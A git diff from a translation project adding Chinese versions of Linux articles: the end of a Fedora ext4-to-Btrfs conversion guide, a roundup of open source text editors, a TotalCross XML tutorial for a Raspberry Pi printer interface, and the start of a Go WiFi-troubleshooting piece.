force -c -1`、`dnf clean all`。 + * 如果你有把握,你可以谨慎的清理 `~/.cache` 文件夹。 + +#### 转换到 Btrfs + +备份你所有有价值的数据,确保你的系统已完全更新,然后重启到实时镜像。运行 `gnome-disks` 工具找到你所拥有的设备的路径,比如 `/dev/sda1`(如果你在使用 LVM,它可能看起来有所不同)。检查文件系统然后执行转换:(编者按:以下命令使用 root 用户运行,谨慎使用!) + +``` +$ sudo su - +# fsck.ext4 -fyv /dev/sdXX (请替换为你的具体的设备路径) +# man btrfs-convert (阅读它) +# btrfs-convert /dev/sdXX (请替换为你的具体的设备路径) +``` + +这将会花十几分钟甚至几个小时,依据分区的大小和是机械硬盘还是固态硬盘。如果你看到错误,你可能需要更多剩余空间。作为最后的手段,你可以尝试 `btrfs-convert -n`。 + +#### 怎样回滚? + +如果因为某些原因转换失败,你的分区将保持在 ext4 文件系统或者它之前的状态。如果你想在成功转换之后回滚,简单如下: + +``` +# btrfs-convert -r /dev/sdXX +``` + +> **警告!** 如果你做了以下这些事情之一,你将永久失去回滚的功能:碎片整理、均衡或者删除 `ext2_saved` 子卷。 + +由于 Btrfs 文件系统的写时复制特性,你可以安全的复制/移动甚至删除文件、创建子卷,因为 `ext2_saved` 会保持引用旧数据。 + +#### 挂载和检查 + +现在这个分区应该已经有了 Btrfs 文件系统。挂载它然后查看你的文件……和子卷! + +``` +# mount /dev/sdXX /mnt (请替换为你的具体的设备路径) +# man btrfs-subvolume (阅读它) +# btrfs subvolume list / (使用 -t 以表格方式查看) +``` + +因为你已经阅读了 [相关的手册页][14],你应该知道创建子卷快照是安全的,并且有 `ext2-saved` 子卷作为你之前数据的简易备份。 + +> 是时候阅读 [Btrfs 系统管理指南][7]了,这样你就不会把常规文件夹和子卷混淆了。 + +#### 创建子卷 + +我们希望实现一个“扁平”子卷布局,这和 Anaconda 默认创建的布局相同: + +``` +toplevel (卷根目录,不能被默认挂载) + +-- root (子卷根目录,被挂载到 /) + +-- home (子卷根目录,被挂载到 /home) +``` + +你可以跳过这个步骤,或者使用一个不同的布局。这种特殊结构的优势是你可以轻松的创建 `/home` 的快照,并且对每个子卷使用不同的压缩和挂载参数。 + +``` +# cd /mnt +# btrfs subvolume snapshot ./ ./root2 +# btrfs subvolume create home2 +# cp -a home/* home2/ +``` + +这里我们已经创建了两个子卷。`root2` 是一个完整的分区快照,而 `home2` 开始是一个空子卷,然后我们往里复制内容。(这个 `cp` 命令不会重复数据,所以会很快。) + + * 在 `/mnt` 目录(顶层子卷),删除除了 `root2`、`home2` 和 `ext2_saved` 之外的所有内容。 + * 重命名 `root2` 和 `home2` 子卷为 `root` 和 `home`。 + * 在 `root` 子卷里,清空 `home` 目录,以便之后我们能够挂载 `home` 子卷。 + +如果都做对了,那就很简单了! + +#### 修改 fstab 分区表 + +为了重启之后挂载新卷,必须要修改 `fstab`,用新的行来代替旧的 ext4 文件系统挂载行。 + +你可以使用 `blkid` 命令来找到你的分区的 UUID。 + +``` +UUID=xx / btrfs subvol=root 0 0 (请替换为你的具体 UUID) +UUID=xx /home btrfs subvol=home 0 0 (请替换为你的具体 UUID) +``` + +(注意如果指向的是同一个分区,那么这两个 UUID 是相同的。) + +这些都是新安装的 Fedora 33 的默认值。在 `fstab` 中,你也可以选择自定义压缩和添加类似 `noatime` 这样的参数。 + +> 可以查看 [关于压缩参数的维基页面][15] 和 [man 5 btrfs][10] 了解所有相关的参数。 + +#### chroot 到系统 + +如果你曾经做过系统恢复,我想你肯定知道这些命令。这里,我们将得到一个 _基本上_ 在你系统里的 shell 提示符,可以访问网络。 + +首先,我们必须重新挂载 `root` 子卷到 `/mnt` 目录,然后挂载 `/boot` 和 `/boot/efi` 分区(它们可能有所不同,这取决于你的文件系统布局): + +``` +# umount /mnt +# mount -o subvol=root /dev/sdXX /mnt (请替换为你的具体的设备路径) +# mount /dev/sdXX /mnt/boot (请替换为你的具体的设备路径) +# mount /dev/sdXX /mnt/boot/efi (请替换为你的具体的设备路径) +``` + +然后我们继续挂载系统设备: + +``` +# mount -t proc /proc /mnt/proc +# mount --rbind /dev /mnt/dev +# mount --make-rslave /mnt/dev +# mount --rbind /sys /mnt/sys +# mount --make-rslave /mnt/sys +# cp /mnt/etc/resolv.conf /mnt/etc/resolv.conf.chroot +# cp -L /etc/resolv.conf /mnt/etc +# chroot /mnt /bin/bash +$ ping www.fedoraproject.org +``` + +#### 重装 GRUB 及内核 + +最容易的方法就是重装 GRUB 和 内核,因为它完成了所有必要的配置 —— 现在我们可以访问网络了。所以,在 chroot 环境内部: + +``` +# mount /boot/efi +# dnf reinstall grub2-efi shim +# grub2-mkconfig -o /boot/efi/EFI/fedora/grub.cfg +# dnf reinstall kernel-core +...或者干脆重新生成 initramfs: +# dracut --kver $(uname -r) --force +``` + +如果你是支持 UEFI 的系统,这里是适用的。如果你是 BIOS 的系统,请查看下面的文档。重启之前,让我们查看是否一切正常: + +``` +# cat /boot/grub2/grubenv +# cat /boot/efi/EFI/fedora/grub.cfg +# lsinitrd /boot/initramfs-$(uname -r).img | grep btrfs +``` + +你应该在 `grubenv` 和 `grub.cfg` 有正确的分区 UUID 或指向(`grubenv` 可能没有更新,如有必要可以编辑它),并在 `grub.cfg` 中看到 `insmod btrfs` 配置和在 initramfs 镜像中有 btrfs 模块。 + +> 参见: Fedora 系统管理指南中的 [重装 GRUB 2][16] 和 [验证初始 RAM 磁盘镜像][17] 。 + +#### 重启 + +现在系统能够正常启动。如果不能,别慌,回到实时镜像修复这个问题。最坏的情况下,你可以从那里重装 Fedora 。 + +#### 首次启动之后 + +检查你的新 Btrfs 文件系统一切都正常。如果你觉得没问题,你需要回收旧的 ext4 快照使用的空间,进行碎片整理和平衡子卷。后两者可能要花一些时间,并且相当耗费资源。 + +对此你必须这样挂载顶级子卷: + +``` +# mount /dev/sdXX -o subvol=/ /mnt/someFolder +# btrfs subvolume delete /mnt/someFolder/ext2_saved +``` + +然后,当机器有空闲时间时,运行这些命令: + +``` +# btrfs filesystem defrag -v -r -f / +# btrfs filesystem defrag -v -r -f /home +# btrfs balance start -m / +``` + +最后,有一个 “非写时复制” [属性][18],对于新系统,这个属性是为虚拟机镜像文件夹自动设置的。如果你使用虚拟机的话,可以设置它: + +``` +# chattr +C /var/lib/libvirt/images +``` + +``` +$ chattr +C ~/.local/share/gnome-boxes/images +``` + +这个属性只会对在这些文件夹里的新文件生效。复制镜像并删除原镜像,你可以通过 `lsattr` 确认结果。 + +### 总结 + +我真心希望你发现这个教程是有用的,并且能够对是否在你的系统上转换为 Btrfs 做出谨慎而明智的决定。祝你成功转换! + +欢迎在评论中分享你的经验,或者遇到更深层次的问题,请在 [ask.fedoraproject.org][19] 提问。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/convert-your-filesystem-to-btrfs/ + +作者:[Gergely Gombos][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwllife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/gombosg/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2020/08/butterfs-816x346.png +[2]: https://ask.fedoraproject.org/t/conversion-of-an-existing-ext4-fedora-32-system-completely-to-btrfs/9446/6?u=gombosghttps://ask.fedoraproject.org/t/conversion-of-an-existing-ext4-fedora-32-system-completely-to-btrfs/9446/6?u=gombosg +[3]: https://fedoramagazine.org/reclaim-hard-drive-space-with-lvm/ +[4]: https://fedoramagazine.org/recover-your-files-from-btrfs-snapshots/ +[5]: https://fedoramagazine.org/choose-between-btrfs-and-lvm-ext4/ +[6]: https://fedoramagazine.org/btrfs-coming-to-fedora-33/ +[7]: https://btrfs.wiki.kernel.org/index.php/SysadminGuide +[8]: https://btrfs.wiki.kernel.org/index.php/Conversion_from_Ext3 +[9]: https://www.mankier.com/8/btrfs +[10]: https://www.mankier.com/5/btrfs +[11]: https://www.mankier.com/8/btrfs-convert +[12]: https://www.mankier.com/8/btrfs-subvolume +[13]: https://getfedora.org/en/workstation/download/ +[14]: https://www.mankier.com/8/btrfs-subvolume#Subvolume_and_Snapshot +[15]: https://btrfs.wiki.kernel.org/index.php/Compression +[16]: https://docs.fedoraproject.org/en-US/fedora/f33/system-administrators-guide/kernel-module-driver-configuration/Working_with_the_GRUB_2_Boot_Loader/#sec-Reinstalling_GRUB_2 +[17]: https://docs.fedoraproject.org/en-US/fedora/f33/system-administrators-guide/kernel-module-driver-configuration/Manually_Upgrading_the_Kernel/#sec-Verifying_the_Initial_RAM_Disk_Image +[18]: https://www.mankier.com/1/chattr#Attributes-C +[19]: https://ask.fedoraproject.org/ diff --git a/published/202205/20210211 31 open source text editors you need to try.md b/published/202205/20210211 31 open source text editors you need to try.md new file mode 100644 index 0000000000..2ce2044280 --- /dev/null +++ b/published/202205/20210211 31 open source text editors you need to try.md @@ -0,0 +1,163 @@ +[#]: collector: (lujun9972) +[#]: translator: (CoWave-Fall) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14632-1.html) +[#]: subject: (31 open source text editors you need to try) +[#]: via: (https://opensource.com/article/21/2/open-source-text-editors) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) + +值得尝试的 30 个开源文本编辑器 +====== + +> 正在寻找新的文本编辑器?这里有 31 个编辑器可供尝试。 + +![](https://img.linux.net.cn/data/attachment/album/202205/24/184603krbzynnnikz8b0nc.jpg) + +计算机是基于文本的,因此你使用它们做的事情越多,你可能就越需要文本编辑应用程序。你在文本编辑器上花费的时间越多,你就越有可能对你使用的编辑器提出更多的要求。 + +如果你正在寻找一个好的文本编辑器,你会发现 Linux 可以提供很多。无论你是想在终端、桌面还是在云端工作,你都可以试一试。你可以每天一款编辑器,连续着试一个月(或每月试一个,能够试三年)。坚持不懈,你终将找到适合你的完美的编辑器。 + +### Vim 类编辑器 + +![][2] + +* [Vi][3] 通常随着 Linux 各发行版、BSD、Solaris 和 macOS 一起安装。它是典型的 Unix 文本编辑器,具有编辑模式和超高效的单键快捷键的独特组合。最初的 Vi 编辑器由 Bill Joy 编写(他也是 C shell 的作者)。Vi 的现代版本,尤其是 Vim,增加了许多特性,包括多级撤消、在插入模式下更好的导航、行折叠、语法高亮、插件支持等等。但它需要学习如何使用(它甚至有自己的教程程序,`vimtutor`)。 +* [Kakoune][4] 是一个受 Vim 启发的应用程序,它具有熟悉的简约界面、短键盘快捷键以及独立的编辑和插入模式。乍一看,它的外观和感觉很像 Vi,但它在设计和功能上有自己独特的风格。 它有一个小彩蛋:具有 Clippy 界面的实现。 + +### emacs 编辑器 + +![][5] + +* 从最初的免费 emacs 开始,发展到发起了自由软件运动的 GNU 项目的第一批官方应用程序,[GNU Emacs][6] 是一个广受欢迎的文本编辑器。它非常适合系统管理员、开发人员和日常用户的使用,具有大量功能和近乎无穷无尽的扩展。一旦你开始使用 emacs,你可能会发现很难想出一个理由来关闭它,因为它能做的事情非常多! +* 如果你喜欢 emacs,但觉得 GNU Emacs 过于臃肿,那么你可以试试 [Jove][7]。Jove 是一个基于终端的 emacs 编辑器。它很容易使用,但是如果你是使用 emacs 编辑器家族的新手,那么 Jove 也是很容易学习的,这要归功于 `teajove` 命令。 +* 另一个轻量级的 emacs 编辑器是 [Jed][8]。它的工作流程基于宏。它与其他编辑器的不同之处在于它使用了 [S-Lang][9],这是一种类似 C 的脚本语言,它为使用 C 而不是使用 Lisp 的开发人员提供了扩展的机会。 + +### 交互式编辑器 + +![][10] + +* [GNU nano][11] 对基于终端的文本编辑采取了大胆的立场:它提供了一个菜单。是的,这个不起眼的编辑器从 GUI 编辑器那里得到了提示,它告诉用户他们需要按哪个键来执行特定的功能。这是一种令人耳目一新的用户体验,所以难怪 nano 被设置为“用户友好”发行版的默认编辑器,而不是 Vi。 +* [JOE][12] 基于一个名为 WordStar 的旧文本编辑应用程序。如果你不熟悉 Wordstar,JOE 也可以模仿 Emacs 或 GNU nano。默认情况下,它是介于 Emacs 或 Vi 等相对神秘的编辑器和 GNU Nano 永远显示的冗长信息之间的一个很好的折衷方案(例如,它告诉你如何激活屏幕帮助显示,但默认情况下不启用)。 +* [e3][13] 是一个优秀的小型文本编辑器,具有五个内置的键盘快捷键方案,用来模拟 Emacs、Vi、nano、NEdit 和 WordStar。换句话说,无论你习惯使用哪种基于终端的编辑器,你都可能对 e3 感到宾至如归。 + +### ed 及像 ed 一样的编辑器 + +* [POSIX][15] 和 Open Group 定义了基于 Unix 的操作系统的标准,[ed][14] 行编辑器是它的一部分。它安装在你遇到的几乎所有 Linux 或 Unix 系统上。它小巧、简洁、一流。 +* 基于 ed,[Sed][16] 流编辑器因其功能和语法而广受欢迎。大多数 Linux 用户在搜索如何最简单、最快捷的更新配置文件中的行的方法时,至少会遇到一个 `sed` 命令,但它值得仔细研究一下。Sed 是一个强大的命令,包含许多有用的子命令。更好地了解了它,你可能会发现自己打开文本编辑器应用程序的频率要低得多。 +* 你并不总是需要文本编辑器来编辑文本。[heredoc][17](或 Here Doc)系统可在任何 POSIX 终端中使用,允许你直接在打开的终端中输入文本,然后将输入的内容通过管道传输到文本文件中。这不是最强大的编辑体验,但它用途广泛且始终可用。 + +### 极简风格的编辑器 + +![][18] + +如果你认为一个好的文本编辑器就是一个文字处理器(除了没有所有的处理功能)的话,你可能正在寻找这些经典编辑器。这些编辑器可让你以最少的干扰和最少的帮助写作和编辑文本。它们提供的功能通常以标记文本、Markdown 或代码为中心。有些名称遵循某种模式: + +* [Gedit][19] 来自 GNOME 团队; +* [medit][20] 有经典的 GNOME 手感; +* [Xedit][21] 仅使用最基本的 X11 库; +* [jEdit][22] 适用于 Java 爱好者。 + +KDE 用户也有类似的: + +* [Kate][23] 是一款低调的编辑器,拥有你需要的几乎所有功能; +* [KWrite][24] 在看似简单易用的界面中隐藏了大量有用的功能。 + +还有一些适用于其他平台: + +* [Pe][26] 适用于 Haiku OS(90 年代那个古怪的孩子 BeOS 的转世); +* [FeatherPad][27] 是适用于 Linux 的基本编辑器,但对 macOS 和 Haiku 有一些支持。如果你是一名希望移植代码的 Qt 黑客,请务必看一看! + +### 集成开发环境(IDE) + +![][28] + +文本编辑器和集成开发环境(IDE)有很多相同之处。后者实际上只是前者加上许多为特定代码而添加的功能。如果你经常使用 IDE,你可能会在扩展管理器中发现一个 XML 或 Markdown 编辑器: + +* [NetBeans][29] 是一个方便 Java 用户的文本编辑器。 +* [Eclipse][30] 提供了一个强大的编辑套件,其中包含许多扩展,可为你提供所需的工具。 + +### 云端编辑器 + +![][31] + +在云端工作?当然,你也可以在那里进行编辑。 + +* [Etherpad][32] 是在网上运行的文本编辑器应用程序。有独立免费的实例供你使用,或者你也可以设置自己的实例。 +* [Nextcloud][33] 拥有蓬勃发展的应用场景,包括内置文本编辑器和具有实时预览功能的第三方 Markdown 编辑器。 + +### 较新的编辑器 + +![][34] + +每个人都会有让文本编辑器变得更完美的想法。因此,几乎每年都会发布新的编辑器。有些以一种新的、令人兴奋的方式重新实现经典的旧想法,有些对用户体验有独特的看法,还有些则专注于特定的需求。 + +* [Atom][35] 是来自 GitHub 的多功能的现代文本编辑器,具有许多扩展和 Git 集成。 +* [Brackets][36] 是 Adobe 为 Web 开发人员提供的编辑器。 +* [Focuswriter][37] 旨在通过无干扰的全屏模式、可选的打字机音效和精美的配置选项等有用功能帮助你专注于写作。 +* [Howl][38] 是一个基于 Lua 和 Moonscript 的渐进式动态编辑器。 +* [Norka][39] 和 [KJots][40] 模仿笔记本,每个文档代表“活页夹”中的“页面”。你可以通过导出功能从笔记本中取出单个页面。 + +### 自己制作编辑器 + +![][41] + +俗话说得好:既然可以编写自己的应用程序,为什么要使用别人的(虽然其实没有这句俗语)?虽然 Linux 有超过 30 个常用的文本编辑器,但是再说一次,开源的一部分乐趣在于能够亲手进行实验。 + +如果你正在寻找学习编程的理由,那么制作自己的文本编辑器是一个很好的入门方法。你可以在大约 100 行代码中实现基础功能,并且你使用它的次数越多,你可能就越会受到启发,进而去学习更多知识,从而进行改进。准备好开始了吗?来吧,去 [创建你自己的文本编辑器][42]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/2/open-source-text-editors + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[CoWave-Fall](https://github.com/CoWave-Fall) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/button_push_open_keyboard_file_organize.png?itok=KlAsk1gx (open source button on keyboard) +[2]: https://opensource.com/sites/default/files/kakoune-screenshot.png +[3]: https://opensource.com/article/20/12/vi-text-editor +[4]: https://opensource.com/article/20/12/kakoune +[5]: https://opensource.com/sites/default/files/jed.png +[6]: https://opensource.com/article/20/12/emacs +[7]: https://opensource.com/article/20/12/jove-emacs +[8]: https://opensource.com/article/20/12/jed +[9]: https://www.jedsoft.org/slang +[10]: https://opensource.com/sites/default/files/uploads/nano-31_days-nano-opensource.png +[11]: https://opensource.com/article/20/12/gnu-nano +[12]: https://opensource.com/article/20/12/31-days-text-editors-joe +[13]: https://opensource.com/article/20/12/e3-linux +[14]: https://opensource.com/article/20/12/gnu-ed +[15]: https://opensource.com/article/19/7/what-posix-richard-stallman-explains +[16]: https://opensource.com/article/20/12/sed +[17]: https://opensource.com/article/20/12/heredoc +[18]: https://opensource.com/sites/default/files/uploads/gedit-31_days_gedit-opensource.jpg +[19]: https://opensource.com/article/20/12/gedit +[20]: https://opensource.com/article/20/12/medit +[21]: https://opensource.com/article/20/12/xedit +[22]: https://opensource.com/article/20/12/jedit +[23]: https://opensource.com/article/20/12/kate-text-editor +[24]: https://opensource.com/article/20/12/kwrite-kde-plasma +[25]: https://opensource.com/article/20/12/notepad-text-editor +[26]: https://opensource.com/article/20/12/31-days-text-editors-pe +[27]: https://opensource.com/article/20/12/featherpad +[28]: https://opensource.com/sites/default/files/uploads/eclipse-31_days-eclipse-opensource.png +[29]: https://opensource.com/article/20/12/netbeans +[30]: https://opensource.com/article/20/12/eclipse +[31]: https://opensource.com/sites/default/files/uploads/etherpad_0.jpg +[32]: https://opensource.com/article/20/12/etherpad +[33]: https://opensource.com/article/20/12/31-days-text-editors-nextcloud-markdown-editor +[34]: https://opensource.com/sites/default/files/uploads/atom-31_days-atom-opensource.png +[35]: https://opensource.com/article/20/12/atom +[36]: https://opensource.com/article/20/12/brackets +[37]: https://opensource.com/article/20/12/focuswriter +[38]: https://opensource.com/article/20/12/howl +[39]: https://opensource.com/article/20/12/norka +[40]: https://opensource.com/article/20/12/kjots +[41]: https://opensource.com/sites/default/files/uploads/this-time-its-personal-31_days_yourself-opensource.png +[42]: https://opensource.com/article/20/12/31-days-text-editors-one-you-write-yourself diff --git a/published/202205/20210305 Build a printer UI for Raspberry Pi with XML and Java.md b/published/202205/20210305 Build a printer UI for Raspberry Pi with XML and Java.md new file mode 100644 index 0000000000..6d7c365d54 --- /dev/null +++ b/published/202205/20210305 Build a printer UI for Raspberry Pi with XML and Java.md @@ -0,0 +1,255 @@ +[#]: subject: (Build a printer UI for Raspberry Pi with XML and Java) +[#]: via: (https://opensource.com/article/21/3/raspberry-pi-totalcross) +[#]: author: (Edson Holanda Teixeira Junior https://opensource.com/users/edsonhtj) +[#]: collector: (lujun9972) +[#]: translator: (CoWave-Fall) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14620-1.html) + +用 XML 和 Java 构建树莓派打印机的用户界面 +====== + +> 使用 TotalCross 来快速构建嵌入式系统程序的用户界面。 + +![](https://img.linux.net.cn/data/attachment/album/202205/21/110711zv3t7n1o7hllhodt.jpg) + +从头开始构建 GUI 是一个非常耗时的过程,以硬编码的方式处理所有的位置和对齐对于一些程序员来说确实很困难。所以在本文中,我将演示如何使用 XML 加快这一过程。 + +本项目使用 [TotalCross][2] 作为目标框架。TotalCross 是一个开源的跨平台软件开发工具包(SDK),旨在更快地为嵌入式设备创建 GUI。TotalCross 无需在设备上运行 Java 即可提供 Java 的开发优势,因为它使用自己的字节码和虚拟机(TC 字节码TC bytecode 和 TCVM)来增强性能。 + +我还使用了 Knowcode-XML,这是一个用于 TotalCross 框架的开源 XML 解析器,它可以将 XML 文件转换为 TotalCross 组件。 + +### 项目需求 + +要重现此项目,你需要: + + * [KnowCode-XML][3] + * [VSCode][4] 或 [VSCodium][5] + * [一个 Android 开发环境][6] + * [用于 VSCode 的 TotalCross 插件][7] + * 适用于你的开发平台([Linux][8]、[Mac][9] 或 [Windows][10])的 Java,需要 Java 11(或更高版本) + * [Git][11] + +### 制作嵌入式应用程序 + +该应用程序由一个具有扫描、打印和复印等基本打印功能的嵌入式 GUI 组成。 + +![打印机初始化画面][12] + +构建这个 GUI 需要几个步骤,包括使用 Android-XML 生成 GUI,然后使用 Knowcode-XML 解析器在 TotalCross 框架上运行它。 + +#### 1、生成 Android XML + +要创建 XML 文件,首先构建一个简单的 Android 屏幕,然后对其进行自定义。如果你不知道如何编写 Android-XML,或者你只是想简单尝试一下,你可以从这个 [GitHub 项目][14] 中下载这个应用程序的 XML。该项目还包含渲染 GUI 要用到的图片。 + +#### 2、调整 XML + +生成 XML 文件后,你需要进行一些微调以确保所有内容都已经对齐、比例正确并且图像的路径正确。 + +将 XML 布局添加到 `Layouts` 文件夹,将所有资源添加到 `Drawable` 文件夹。然后你就可以开始自定义 XML 了。 + +例如,如果想要更改 XML 对象的背景,可以更改 `android:background` 属性: + +``` +android:background="@drawable/scan" +``` + +你也可以使用 `tools:layout_editor_absoluteX` 和 `tools:layout_editor_absoluteY` 更改对象的位置: + +``` +tools:layout_editor_absoluteX="830dp" +tools:layout_editor_absoluteY="511dp" +``` + +或者使用 `android:layout_width` 和 `android:layout_height` 更改对象的大小: + +``` +android:layout_width="70dp" +android:layout_height="70dp" +``` + +如果要在对象上放置文本,可以使用 `android:textSize`、`android:text`、`android:textStyle` 和 `android:textColor`: + +``` +android:textStyle="bold" +android:textColor="#000000" +android:textSize="20dp" +android:text="2:45PM" +``` + +下面是一个完整的 XML 对象的示例: + +``` + +``` + +#### 3、在 TotalCross 上运行 GUI + +完成所有 XML 调整后,就可以在 TotalCross 上运行它了。在 TotalCross 扩展(LCTT 译注:在 VSCode 里面)上创建一个新项目,并将 `XML` 和 `Drawable` 文件夹添加到 `Main` 文件夹里。如果你仍然不确定如何创建 TotalCross 项目,请参阅我们的 [入门指南][15]。 + +配置好环境后,使用 `totalcross.knowcode.parse.XmlContainerFactory` 和 `import totalcross.knowcode.parse.XmlContainerLayout` 在 TotalCross 框架上使用 XML GUI。 你可以在其 [GitHub 页面][3] 上找到更多关于使用 KnowCode-XML 的信息。 + +#### 4、添加过渡效果 + +这个项目的平滑过渡效果是由 `SlidingNavigator` 类创建的,它使用 TotalCross 的 `ControlAnimation` 类从一个屏幕滑到另一个屏幕。 + +在 `XMLpresenter` 类上调用 `SlidingNavigator`: + +``` +new SlidingNavigator(this).present(HomePresenter.class); +``` + +在 `SlidingNavigator` 类上实现 `present` 函数: + +``` +public void present(Class presenterClass) + throws InstantiationException, IllegalAccessException { + final XMLPresenter presenter = cache.containsKey(presenterClass) ? cache.get(presenterClass) + : presenterClass.newInstance(); + if (!cache.containsKey(presenterClass)) { + cache.put(presenterClass, presenter); + } + + if (presenters.isEmpty()) { + window.add(presenter.content, LEFT, TOP, FILL, FILL); + } else { + XMLPresenter previous = presenters.lastElement(); + + window.add(presenter.content, AFTER, TOP, SCREENSIZE, SCREENSIZE, previous.content); +``` + +使用动画控件中的 `PathAnimation` 来创建从一个屏幕到另一个屏幕的滑动动画: + +``` + PathAnimation.create(previous.content, -Settings.screenWidth, 0, new ControlAnimation.AnimationFinished() { + @Override + public void onAnimationFinished(ControlAnimation anim) { + window.remove(previous.content); + } + }, 1000).with(PathAnimation.create(presenter.content, 0, 0, new ControlAnimation.AnimationFinished() { + @Override + public void onAnimation Finished(Control Animation anim) { + presenter.content.setRect(LEFT, TOP, FILL, FILL); + } + }, 1000)).start(); + } + presenter.setNavigator(this); + presenters.push(presenter); + presenter.bind2(); + if (presenter.isFirstPresent) { + presenter.onPresent(); + presenter.isFirstPresent = false; + } +``` + +#### 5、加载环形进度条 + +打印机应用程序的另一个不错的功能是显示进度的加载屏幕动画。它包括文本和旋转动画。 + +![加载环形进度条][18] + +通过添加定时器和定时器监听器来更新进度标签,然后调用函数 `spinner.start()` 来实现此功能。所有的动画都是由 TotalCross 和 KnowCode 自动生成的: + +``` +public void startSpinner() { + time = content.addTimer(500); + content.addTimerListener((e) -> { + try { + progress(); // Updates the Label + } catch (InstantiationException | IllegalAccessException e1) { + // TODO Auto-generated catch block + e1.printStackTrace(); + } + }); + Spinner spinner = (Spinner) ((XmlContainerLayout) content).getControlByID("@+id/spinner"); + spinner.start(); + } +``` + +这里的环形进度条被实例化为对 XML 文件中描述的 `XmlContainerLayout` `spinner` 的引用: + +``` + +``` + +#### 6、构建应用程序 + +是时候构建应用程序了。你可以在 `pom.xml` 中查看和更改目标系统target systems。 请确保 `Linux Arm` 目标可用。 + +如果你使用的是 VSCode,请按下键盘上的 `F1` 键,选择 `TotalCross: Package` 并等待完成。 然后就可以在 `Target` 文件夹中看到安装文件了。 + +#### 7、在树莓派上部署和运行应用程序 + +要使用 SSH 协议在 [树莓派][19] 上部署应用程序,请按键盘上的 `F1`。选择 `TotalCross: Deploy&Run` 并提供有关你的 SSH 连接的信息,如:用户名、IP地址、密码和应用程序路径。 + +![TotalCross:部署与运行][20] + +![配置 SSH 用户名][21] + +![配置 IP 地址][22] + +![输入密码][23] + +![配置路径][24] + +### 总结 + +KnowCode 让使用 Java 创建和管理应用程序屏幕变得更加容易。Knowcode-XML 将你的 XML 转换为 TotalCross GUI 界面,然后生成二进制文件以在你的树莓派上运行。 + +将 KnowCode 技术与 TotalCross 相结合,使你能够更快地创建嵌入式应用程序。 你可以访问我们在 GitHub 上的 [嵌入式示例][25] 并编辑你自己的应用程序,了解你还可以做什么。 + +如果你有问题、需要帮助,或者只是想与其他嵌入式 GUI 开发人员互动,请随时加入我们的 [Telegram][26] 小组,讨论任何框架上的嵌入式应用程序。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/3/raspberry-pi-totalcross + +作者:[Edson Holanda Teixeira Junior][a] +选题:[lujun9972][b] +译者:[CoWave-Fall](https://github.com/CoWave-Fall) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/edsonhtj +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gears_devops_learn_troubleshooting_lightbulb_tips_520.png?itok=HcN38NOk (Tips and gears turning) +[2]: https://opensource.com/article/20/7/totalcross-cross-platform-development +[3]: https://github.com/TotalCross/knowcode-xml +[4]: https://code.visualstudio.com/ +[5]: https://opensource.com/article/20/6/open-source-alternatives-vs-code +[6]: https://developer.android.com/studio +[7]: https://marketplace.visualstudio.com/items?itemName=totalcross.vscode-totalcross +[8]: https://opensource.com/article/19/11/install-java-linux +[9]: https://opensource.com/article/20/7/install-java-mac +[10]: http://adoptopenjdk.net +[11]: https://opensource.com/life/16/7/stumbling-git +[12]: https://opensource.com/sites/default/files/uploads/01_printergui.png (printer init screen) +[13]: https://creativecommons.org/licenses/by-sa/4.0/ +[14]: https://github.com/TotalCross/embedded-samples/tree/main/printer-application/src/main/resources/layout +[15]: https://totalcross.com/get-started/?utm_source=opensource&utm_medium=article&utm_campaign=printer +[16]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+instantiationexception +[17]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+illegalaccessexception +[18]: https://opensource.com/sites/default/files/uploads/03progressspinner.png (Loading Spinner) +[19]: https://www.raspberrypi.org/products/raspberry-pi-4-model-b/ +[20]: https://opensource.com/sites/default/files/uploads/04_totalcross-deployrun.png (TotalCross: Deploy&Run) +[21]: https://opensource.com/sites/default/files/uploads/05_ssh.png (SSH user) +[22]: https://opensource.com/sites/default/files/uploads/06_ip.png (IP address) +[23]: https://opensource.com/sites/default/files/uploads/07_password.png (Password) +[24]: https://opensource.com/sites/default/files/uploads/08_path.png (Path) +[25]: https://github.com/TotalCross/embedded-samples +[26]: https://t.me/totalcrosscommunity diff --git a/published/202205/20210310 Troubleshoot WiFi problems with Go and a Raspberry Pi.md b/published/202205/20210310 Troubleshoot WiFi problems with Go and a Raspberry Pi.md new file mode 100644 index 0000000000..6a46d97f7f --- /dev/null +++ b/published/202205/20210310 Troubleshoot WiFi problems with Go and a Raspberry Pi.md @@ -0,0 +1,203 @@ +[#]: subject: "Troubleshoot WiFi problems with Go and a Raspberry Pi" +[#]: via: "https://opensource.com/article/21/3/troubleshoot-wifi-go-raspberry-pi" +[#]: author: "Chris Collins https://opensource.com/users/clcollins" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "turbokernel" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14560-1.html" + +使用 Go 和树莓派排查 WiFi 问题 +====== + +> 实现一个 WiFi 扫描器玩玩~ + +![](https://img.linux.net.cn/data/attachment/album/202205/08/085020czfsvsfpdg0usuph.jpg) + 